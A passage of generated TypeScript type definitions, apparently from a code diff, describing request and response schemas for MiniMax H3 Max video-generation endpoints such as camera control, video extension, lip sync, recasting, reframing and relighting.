appearance references within your new-image limit. Camera and movement always come from the video. + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description Output quality. Duration is taken automatically from the video. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3Max3DToVideoResolutionEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Blender video, up to 15 seconds and 32 shots, at a public HTTPS URL. + * @type string + */ + video_url: string +} + +export type VideoBb9Fb16B = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3Max3DToVideo = { + /** + * @description The finished realistic video, matching the input duration. + * @type object + */ + video: VideoBb9Fb16B +} + +/** + * @description One camera pose at a normalized point in the generated clip. + * @type object + */ +export type H3MaxCameraKeyframe = { + /** + * @description Camera distance from the subject in normalized scene units. + * @type number + */ + distance: number + /** + * @description Normalized video time, from 0 at the start to 1 at the end. + * @minimum 0 + * @maximum 1 + * @type number + */ + time: number + /** + * @description Horizontal camera angle around the subject, in degrees. + * @type number + */ + azimuth: number + /** + * @description Vertical camera angle around the subject, in degrees. + * @minimum -90 + * @maximum 90 + * @type number + */ + elevation: number +} + +export const H3MaxCameraPosesConventionEnum = { + blender: 'blender', + opencv: 'opencv', +} as const + +export type H3MaxCameraPosesConventionEnumKey = + (typeof H3MaxCameraPosesConventionEnum)[keyof typeof H3MaxCameraPosesConventionEnum] + +/** + * @description Per-frame camera-to-world matrices, e.g. Blender ``matrix_world``. + * @type object + */ +export type H3MaxCameraPoses = { + /** + * @description Camera axes of the matrices: blender (looks down -Z, Y up) or opencv (looks down +Z, Y down). The world frame does not matter. + * @type string + */ + convention: H3MaxCameraPosesConventionEnumKey + /** + * @description One 4x4 row-major camera-to-world matrix per frame. + * @type array + */ + c2w: number[][][] +} + +export const inputMinimaxH3MaxCameraControlsResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', +} as const + +export type InputMinimaxH3MaxCameraControlsResolutionEnumKey = + (typeof inputMinimaxH3MaxCameraControlsResolutionEnum)[keyof typeof inputMinimaxH3MaxCameraControlsResolutionEnum] + +export const inputMinimaxH3MaxCameraControlsFreeCameraPreset = { + truck_right: 'truck_right', + truck_left: 'truck_left', + pedestal_up: 'pedestal_up', + pedestal_down: 'pedestal_down', + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + pan_right: 'pan_right', + pan_left: 'pan_left', + tilt_up: 'tilt_up', + tilt_down: 'tilt_down', + roll_right: 'roll_right', + roll_left: 'roll_left', + s_curve_forward: 's_curve_forward', +} as const + +export type InputMinimaxH3MaxCameraControlsFreeCameraPresetKey = + (typeof inputMinimaxH3MaxCameraControlsFreeCameraPreset)[keyof typeof inputMinimaxH3MaxCameraControlsFreeCameraPreset] + +/** + * @description MiniMax H3 Multi-angle input with a fixed internal camera LoRA. + * @type object + */ +export type InputMinimaxH3MaxCameraControls = { + /** + * @description URL of the image to use as the first frame. + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/example_inputs/hailuo23/pro_i2v_in.jpg + * @type string + */ + image_url: string + /** + * @description The native generation resolution, or 1080P latent refinement from a native 768P source. + * @default '480P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxCameraControlsResolutionEnumKey + /** + * @description Ordered camera keyframes. The first pose is held before its time and the final pose is held for the remainder of the video. Signed full turns are preserved, with at most 32 turns of total azimuth travel. + * @example [{"distance":1,"time":0,"azimuth":0,"elevation":0},{"distance":0.2,"time":0.3,"azimuth":45,"elevation":15},{"distance":1,"time":0.8,"azimuth":90,"elevation":-90}] + * @type array | undefined + */ + camera_trajectory?: H3MaxCameraKeyframe[] + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description A fixed free-camera move. Truck, pedestal, and dolly slide the camera; pan, tilt, and roll turn it in place. The path is not editable. When this is set, camera_trajectory is ignored. Each move is one training-scale step: one near-depth unit, 30 degrees of pan, or 20 degrees of tilt or roll. + */ + free_camera_preset?: InputMinimaxH3MaxCameraControlsFreeCameraPresetKey | null + /** + * @description Multiplier on imported camera translations. One model unit is the depth of the nearest scene content in the first frame, so a Blender scene whose nearest object is 5 m away needs 0.2. + * @maximum 10000 + * @default 1 + * @type number | undefined + */ + camera_poses_scale?: number + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null + /** + * @description Your own camera path, one pose per frame, e.g. sampled from a Blender camera. Poses span the whole clip evenly; only motion relative to the first pose is used. The first pose should be the camera that took image_url. When set, camera_trajectory and free_camera_preset are ignored. + */ + camera_poses?: H3MaxCameraPoses | null + /** + * @description Video length in seconds. The output can run up to about 0.7 s longer than requested. + * @minimum 0.92 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description Text prompt for video generation. When omitted or blank, defaults to preserving the frozen reference scene while only the camera moves. + * @maxLength 50000 + * @default 'The same elements in the reference are rigid. Preserve every element exactly. The entire scene is frozen. Only the camera moves. no scene motion only camera motion' + * @example Orbit precisely around the subject while preserving its identity and the scene. + * @type string | undefined + */ + prompt?: string + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'balanced' returns in about a second. 'quality' spends up to ~30s on a richer prompt. + * @default 'balanced' + * @example disabled + * @example balanced + * @example quality + * @type string + */ + prompt_expansion_mode: string + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File414B83B2 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputMinimaxH3MaxCameraControls = { + /** + * @description Timing breakdown in seconds. 'inference' is the DiT denoising time on the GPU backend. Null on routes that do not report backend timings. + */ + timings?: { + [key: string]: number + } | null + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null + /** + * @description The generated video + * @type object + */ + video: File414B83B2 +} + +export const inputMinimaxH3MaxExtendVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxExtendVideoAspectRatioEnumKey = + (typeof inputMinimaxH3MaxExtendVideoAspectRatioEnum)[keyof typeof inputMinimaxH3MaxExtendVideoAspectRatioEnum] + +export const inputMinimaxH3MaxExtendVideoOutputEnum = { + extended: 'extended', + continuation: 'continuation', +} as const + +export type InputMinimaxH3MaxExtendVideoOutputEnumKey = + (typeof inputMinimaxH3MaxExtendVideoOutputEnum)[keyof typeof inputMinimaxH3MaxExtendVideoOutputEnum] + +export const inputMinimaxH3MaxExtendVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', + '2K': '2K', +} as const + +export type InputMinimaxH3MaxExtendVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxExtendVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxExtendVideoResolutionEnum] + +/** + * @description Extend a video with new footage based on a prompt. + * @type object + */ +export type InputMinimaxH3MaxExtendVideo = { + /** + * @description Output aspect ratio. 'auto' follows the source video. Other values crop the video to fit the selected ratio. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxExtendVideoAspectRatioEnumKey + /** + * @description Automatically enhance the prompt using the source video to help keep the continuation consistent. May increase processing time. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Optional audio references for the continuation (2–15 seconds each, 15 seconds combined). The full extended video retains its original source soundtrack, and its ending still conditions the transition. These clips guide the newly generated audio instead of using that soundtrack as an audio reference. Assign each clip a role in the prompt, such as 'Audio 1 for the voice' and 'Audio 2 for background music'. + * @type array | undefined + */ + reference_audio_urls?: string[] + /** + * @description 'extended' returns the source and new footage as one video. 'continuation' returns a clip that starts with a 1.625-second repeat of the source's ending, then shows the new footage. + * @default 'extended' + * @type string | undefined + */ + output?: InputMinimaxH3MaxExtendVideoOutputEnumKey + /** + * @description URL of the video to extend. Must be 1.625 s to 60 s long, up to 50 MB, aspect ratio between 0.4 and 2.5. + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/example_inputs/flux-3-red-panda.mp4 + * @type string + */ + video_url: string + /** + * @description Seconds of new footage to add. The continuation clip also includes 1.625 seconds from the source's ending and may be longer because of frame rounding. + * @minimum 0.71 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description What happens next. Describe the continuation, not the source. + * @minLength 1 + * @maxLength 50000 + * @example The red panda keeps walking along the log, then looks up at a bird. + * @type string + */ + prompt: string + /** + * @description Seed for the continuation. Random when omitted. + */ + seed?: number | null + /** + * @description Moderate the source video and the prompt. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Output video resolution. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxExtendVideoResolutionEnumKey +} + +export type File0D496A62 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxExtendVideo = { + /** + * @description Seconds of returned video. + * @type number + */ + duration: number + timings?: { + [key: string]: number + } + /** + * @description Source video information: width, height, frame rate, duration, and audio. + * @type object + */ + source: object + /** + * @description Seed used for the continuation. + * @type integer + */ + seed: number + /** + * @description The returned video. In 'continuation' mode, it includes the 1.625-second repeat at the start. + * @type object + */ + video: File0D496A62 + /** + * @description The prompt used after expansion, or null when unchanged. + */ + expanded_prompt?: string | null +} + +export const inputMinimaxH3MaxImageToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', +} as const + +export type InputMinimaxH3MaxImageToVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxImageToVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxImageToVideoResolutionEnum] + +export type InputMinimaxH3MaxImageToVideo = { + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 50000 + * @example The camera slowly pulls back from the scene, revealing the full landscape as clouds drift overhead and light shifts across the terrain. + * @type string + */ + prompt: string + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Longer clips are trimmed to the generated video's length, keeping the beginning. The original audio replaces the output soundtrack, padded with silence if shorter than the video, without changing playback speed. Exceptionally high sample rates may be resampled to 96 kHz. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description Optional URL of the image to use as the first frame. When provided, the output canvas follows this image. If only end_image_url is provided, the canvas follows that last frame instead. If both images are omitted, the request is handled as text-to-video (16:9 by default). + * @example https://storage.googleapis.com/falserverless/example_inputs/hailuo23/pro_i2v_in.jpg + */ + image_url?: string | null + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'balanced' returns in about a second. 'quality' spends up to ~30s on a richer prompt. + * @default 'balanced' + * @example disabled + * @example balanced + * @example quality + * @type string + */ + prompt_expansion_mode: string + /** + * @description Video length in seconds. The output can run up to about 0.7 s longer than requested. Use at least 2 s with target_audio_url. + * @minimum 0.92 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description The native generation resolution, or 1080P latent refinement from a native 768P source. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxImageToVideoResolutionEnumKey + /** + * @description Optional URL of the image to use as the last frame. It may be provided alone for end-only keyframe generation; in that case the output canvas follows this image. + */ + end_image_url?: string | null +} + +export type File8201C83F = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputMinimaxH3MaxImageToVideo = { + /** + * @description Timing breakdown in seconds. 'inference' is the DiT denoising time on the GPU backend. Null on routes that do not report backend timings. + */ + timings?: { + [key: string]: number + } | null + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null + /** + * @description The generated video + * @type object + */ + video: File8201C83F +} + +export const inputMinimaxH3MaxInsertVideoResolutionEnum = { + '480p': '480p', + '768p': '768p', +} as const + +export type InputMinimaxH3MaxInsertVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxInsertVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxInsertVideoResolutionEnum] + +export type InputMinimaxH3MaxInsertVideo = { + seed?: number | null + /** + * @default '768p' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxInsertVideoResolutionEnumKey + /** + * @minimum 1.625 + * @maximum 60 + * @type number + */ + start_time: number + /** + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @default true + * @type boolean | undefined + */ + color_match?: boolean + prompt?: string | null + /** + * @minimum 5 + * @maximum 13 + * @default 5 + * @type number | undefined + */ + duration?: number + reference_video_urls?: string[] + reference_image_urls?: string[] + /** + * @maximum 60 + * @type number + */ + resume_time: number + /** + * @minLength 1 + * @type string + */ + video_url: string +} + +export type VideoFileD58Ef4Bd = { + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null +} + +export type OutputMinimaxH3MaxInsertVideo = { + seed: number + expanded_prompt?: string | null + injected_duration: number + width: number + start_time: number + height: number + source: object + video: VideoFileD58Ef4Bd + frame_count: number + duration: number + timings: { + [key: string]: number + } + resume_time: number +} + +export const inputMinimaxH3MaxLipSyncImageToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', + '2K': '2K', +} as const + +export type InputMinimaxH3MaxLipSyncImageToVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxLipSyncImageToVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxLipSyncImageToVideoResolutionEnum] + +export type InputMinimaxH3MaxLipSyncImageToVideo = { + /** + * @description Transcribe the supplied audio to guide lip synchronization. Turn this off if the audio has a lot of non-word sound, such as music, singing, laughter or noise, which the transcript may turn into words that were never spoken. + * @default true + * @type boolean | undefined + */ + enable_transcription?: boolean + /** + * @description Output resolution. Uses the supported aspect ratio nearest the image. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxLipSyncImageToVideoResolutionEnumKey + /** + * @description Random seed; selected randomly if omitted. + */ + seed?: number | null + /** + * @description Audio to synchronize the mouth movements to, at least 5 seconds long. Supports up to 15 minutes. The output video matches the supplied audio duration. + * @type string + */ + audio_url: string + /** + * @description Image to animate. The aspect ratio must be between 0.4 and 2.5. + * @type string + */ + image_url: string + /** + * @description Enable content safety checks. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File099948Ad = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxLipSyncImageToVideo = { + /** + * @description Lip-synced video with the supplied soundtrack. + * @type object + */ + video: File099948Ad + /** + * @description Timing breakdown in seconds. 'inference' is the DiT denoising time on the GPU backend, summed over every window this request generated. Null on routes that do not report backend timings. + */ + timings?: { + [key: string]: number + } | null + /** + * @description Output duration in seconds. + * @type number + */ + duration: number + /** + * @description Random seed used for generation. + * @type integer + */ + seed: number +} + +export const inputMinimaxH3MaxRecastResolutionEnum = { + '768P': '768P', + '1080P': '1080P', +} as const + +export type InputMinimaxH3MaxRecastResolutionEnumKey = + (typeof inputMinimaxH3MaxRecastResolutionEnum)[keyof typeof inputMinimaxH3MaxRecastResolutionEnum] + +export type InputMinimaxH3MaxRecast = { + /** + * @default '1080P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxRecastResolutionEnumKey + /** + * @description One photo per new person. By default they replace the main people in the video from left to right, each in every shot they appear in. + * @example ["https://v3b.fal.media/files/b/0aac8d26/HVno2j68vj7tkAwGo3Qii_Nolan%203.jpg"] + * @type array + */ + reference_image_urls: string[] + /** + * @description The source video, 5 to 30 seconds long, with no single shot longer than 15 seconds. + * @example https://v3b.fal.media/files/b/0aac8cc6/lOHY4Mitfg5x1UDerR3RB_dw9Hs7ChHU-Fqwzz0W9cq_video.mp4 + * @type string + */ + video_url: string + /** + * @description Random seed. Leave empty for a random one. + */ + seed?: number | null + /** + * @description More natural skin textures and better blending of the new people into the scene. Off unless set. + * @default false + * @example true + * @type boolean | undefined + */ + enhance_realism?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional: who becomes whom, or what else to keep or change. + */ + prompt?: string | null +} + +export type File3238798A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxRecast = { + /** + * @description The recast video, with the source sound. + * @type object + */ + video: File3238798A + /** + * @description The seed used. + * @type integer + */ + seed: number +} + +export const inputMinimaxH3MaxReferenceToVideoAspectRatioEnum = { + adaptive: 'adaptive', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxReferenceToVideoAspectRatioEnumKey = + (typeof inputMinimaxH3MaxReferenceToVideoAspectRatioEnum)[keyof typeof inputMinimaxH3MaxReferenceToVideoAspectRatioEnum] + +export const inputMinimaxH3MaxReferenceToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', +} as const + +export type InputMinimaxH3MaxReferenceToVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxReferenceToVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxReferenceToVideoResolutionEnum] + +export type InputMinimaxH3MaxReferenceToVideo = { + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Cannot be combined with reference audio. Longer clips are trimmed to the generated video's length, keeping the beginning; shorter clips are padded with silence. The clip is resampled to 32 kHz stereo and replaces the output soundtrack without changing playback speed. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description The aspect ratio of the generated video. + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxReferenceToVideoAspectRatioEnumKey + /** + * @description The native generation resolution, or 1080P latent refinement from a native 768P source. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxReferenceToVideoResolutionEnumKey + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'balanced' returns in about a second. 'quality' spends up to ~30s on a richer prompt. + * @default 'balanced' + * @example disabled + * @example balanced + * @example quality + * @type string + */ + prompt_expansion_mode: string + /** + * @description URLs of reference audio clips (2-15 seconds each, combined duration at most 15 seconds), referenced in the prompt as Audio 1, Audio 2, and so on. Images, videos, and audio can be provided individually or together. Reference images, videos, and audio clips must add up to at most 12 files. + * @type array | undefined + */ + reference_audio_urls?: string[] + /** + * @description Optional URL of the image to use as the first frame. The video opens exactly on this image while the references keep the subjects consistent; the output canvas follows this image. + */ + image_url?: string | null + /** + * @description Text prompt for video generation. Refer to reference assets by their modality and order in the reference lists: Image 1, Image 2, Video 1, Audio 1, and so on. + * @minLength 1 + * @maxLength 50000 + * @example Image 1 is the female protagonist. Image 2 is her small dog. Keep the woman and dog consistent with their respective reference images while they walk together through a sunlit garden. + * @type string + */ + prompt: string + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Optional image to guide the video at middle_frame_time. Requires start and end images and native 480P or 768P resolution. + */ + middle_image_url?: string | null + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null + /** + * @description Target time for the middle image, in seconds from the start. Rounded to the nearest frame at 24 fps; it must fall strictly between the first and last frames of the requested duration. Requires middle_image_url. + * @example 2.5 + */ + middle_frame_time?: number | null + /** + * @description URLs of motion/reference video clips (2-15 seconds each, combined duration at most 15 seconds), referenced in the prompt as Video 1, Video 2, and so on. Reference images, videos, and audio clips must add up to at most 12 files. + * @type array | undefined + */ + reference_video_urls?: string[] + /** + * @description URLs of subject/style reference images, referenced in the prompt as Image 1, Image 2, and so on. Reference images, videos, and audio clips must add up to at most 12 files. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/hailuo23/pro_i2v_in.jpg"] + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description Video length in seconds. The output can run up to about 0.7 s longer than requested. Use at least 2 s with target_audio_url. + * @minimum 0.92 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description Ordered reference list; cross-modality order is semantic and is preserved end-to-end. Do not combine with reference_*_urls. + * @type array | undefined + */ + reference_conditions?: ReferenceCondition[] + /** + * @description Optional URL of the image to use as the last frame. The video ends exactly on this image. + */ + end_image_url?: string | null +} + +export type File0Ccfabcd = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxReferenceToVideo = { + /** + * @description The generated video + * @type object + */ + video: File0Ccfabcd + /** + * @description Timing breakdown in seconds. 'inference' is the DiT denoising time on the GPU backend. Null on routes that do not report backend timings. + */ + timings?: { + [key: string]: number + } | null + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null + /** + * @description Base seed for reproducing the generation. + * @type integer + */ + seed: number + /** + * @description Packed reference conditioner rows encoded for this request (images, videos, keyframes, and audio). The first 4096 rows are included in the clip price. + */ + reference_tokens?: number | null +} + +export const inputMinimaxH3MaxReframeVideoResolutionEnum = { + '480p': '480p', + '768p': '768p', + '1080p': '1080p', +} as const + +export type InputMinimaxH3MaxReframeVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxReframeVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxReframeVideoResolutionEnum] + +export const inputMinimaxH3MaxReframeVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type InputMinimaxH3MaxReframeVideoAspectRatioEnumKey = + (typeof inputMinimaxH3MaxReframeVideoAspectRatioEnum)[keyof typeof inputMinimaxH3MaxReframeVideoAspectRatioEnum] + +export type InputMinimaxH3MaxReframeVideo = { + seed?: number | null + /** + * @description Target canvas resolution profile. 1080p uses learned latent upscaling from a native 768p reframe. + * @default '768p' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxReframeVideoResolutionEnumKey + /** + * @description Optional guidance for the new surroundings. Expansion captions the source automatically. + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Target canvas aspect ratio; the source is contain-fitted and the rest is outpainted. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxReframeVideoAspectRatioEnumKey + /** + * @description Source video, 0.25 to 300 seconds; fitted onto the target canvas with its timeline and audio preserved. + * @type string + */ + video_url: string + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFile0F6Ad2Cc = { + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null +} + +export type OutputMinimaxH3MaxReframeVideo = { + seed: number + video: VideoFile0F6Ad2Cc + /** + * @default 24 + * @type integer | undefined + */ + frames_per_second?: number + expanded_prompt?: string | null + frame_count: number + placement: { + [key: string]: number + } +} + +export const inputMinimaxH3MaxRelightAspectRatioEnum = { + adaptive: 'adaptive', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxRelightAspectRatioEnumKey = + (typeof inputMinimaxH3MaxRelightAspectRatioEnum)[keyof typeof inputMinimaxH3MaxRelightAspectRatioEnum] + +export const inputMinimaxH3MaxRelightResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', + '2K': '2K', +} as const + +export type InputMinimaxH3MaxRelightResolutionEnumKey = + (typeof inputMinimaxH3MaxRelightResolutionEnum)[keyof typeof inputMinimaxH3MaxRelightResolutionEnum] + +export type InputMinimaxH3MaxRelight = { + /** + * @description Output video aspect ratio. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxRelightAspectRatioEnumKey + /** + * @description Output video resolution. 480P and 768P generate natively; 1080P and 2K (1440p) use latent upscaling and refinement from 768P. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxRelightResolutionEnumKey + /** + * @description Random seed for video generation. + */ + seed?: number | null + /** + * @description Sphere render showing the target lighting. + * @minLength 1 + * @type string + */ + reference_image_url: string + /** + * @description Enable safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Return video as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Source video up to 15 seconds long. Converted to constant 24 fps and trimmed at the end to the closest 17n+5 frame count, with at least 56 frames (about 2.33 seconds) remaining. The output matches this prepared video's frame count and duration. + * @minLength 1 + * @type string + */ + video_url: string +} + +export type File5029B771 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxRelight = { + /** + * @description Inference duration in seconds, when available. + */ + timings?: { + [key: string]: number + } | null + /** + * @description Base seed for reproducing the generation. + * @type integer + */ + seed: number + /** + * @description The relighted video. + * @type object + */ + video: File5029B771 +} + +export const inputMinimaxH3MaxStyles16BitPixelAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxStyles16BitPixelAspectRatioEnumKey = + (typeof inputMinimaxH3MaxStyles16BitPixelAspectRatioEnum)[keyof typeof inputMinimaxH3MaxStyles16BitPixelAspectRatioEnum] + +export type InputMinimaxH3MaxStyles16BitPixel = { + /** + * @description Describe the scene, action, camera and sound. The 16-bit pixel style is applied automatically. + * @minLength 1 + * @maxLength 49815 + * @example A young bicycle courier pedals through a sunlit flower market. Medium side view, steady tracking camera, measured pedaling. Bicycle chain clicks and gentle market ambience. + * @type string + */ + prompt: string + /** + * @description Random seed. Omit to choose one automatically. + */ + seed?: number | null + /** + * @description Requested video duration in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Optional first-frame image. Use pixel artwork for the most consistent style. When provided, its aspect ratio determines the output canvas. + */ + image_url?: string | null + /** + * @description Video aspect ratio for text-only generation. Ignored when image_url 